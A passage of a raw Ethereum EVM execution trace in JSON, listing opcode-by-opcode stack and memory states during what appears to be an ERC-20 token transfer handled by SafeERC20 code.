000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2805,"op":"POP","gas":29699,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2806,"op":"PUSH1","gas":29697,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2808,"op":"MLOAD","gas":29694,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2809,"op":"RETURNDATASIZE","gas":29691,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2810,"op":"PUSH1","gas":29689,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2812,"op":"NOT","gas":29686,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x20","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2813,"op":"PUSH1","gas":29683,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2815,"op":"DUP3","gas":29680,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2816,"op":"ADD","gas":29677,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2817,"op":"AND","gas":29674,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x3f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2818,"op":"DUP3","gas":29671,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2819,"op":"ADD","gas":29668,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x20","0x20","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2820,"op":"DUP1","gas":29665,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x20","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2821,"op":"PUSH1","gas":29662,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x20","0x1a4","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2823,"op":"MSTORE","gas":29659,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x20","0x1a4","0x1a4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2824,"op":"POP","gas":29656,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x20","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2825,"op":"DUP2","gas":29654,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2826,"op":"ADD","gas":29651,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x20","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2827,"op":"SWAP1","gas":29648,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2828,"op":"PUSH2","gas":29645,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1a4","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2831,"op":"SWAP2","gas":29642,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1a4","0x184","0xb15"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2832,"op":"SWAP1","gas":29639,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x184","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2833,"op":"PUSH2","gas":29636,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x1a4","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2836,"op":"JUMP","gas":29633,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x1a4","0x184","0x1fdf"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8159,"op":"JUMPDEST","gas":29625,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x1a4","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a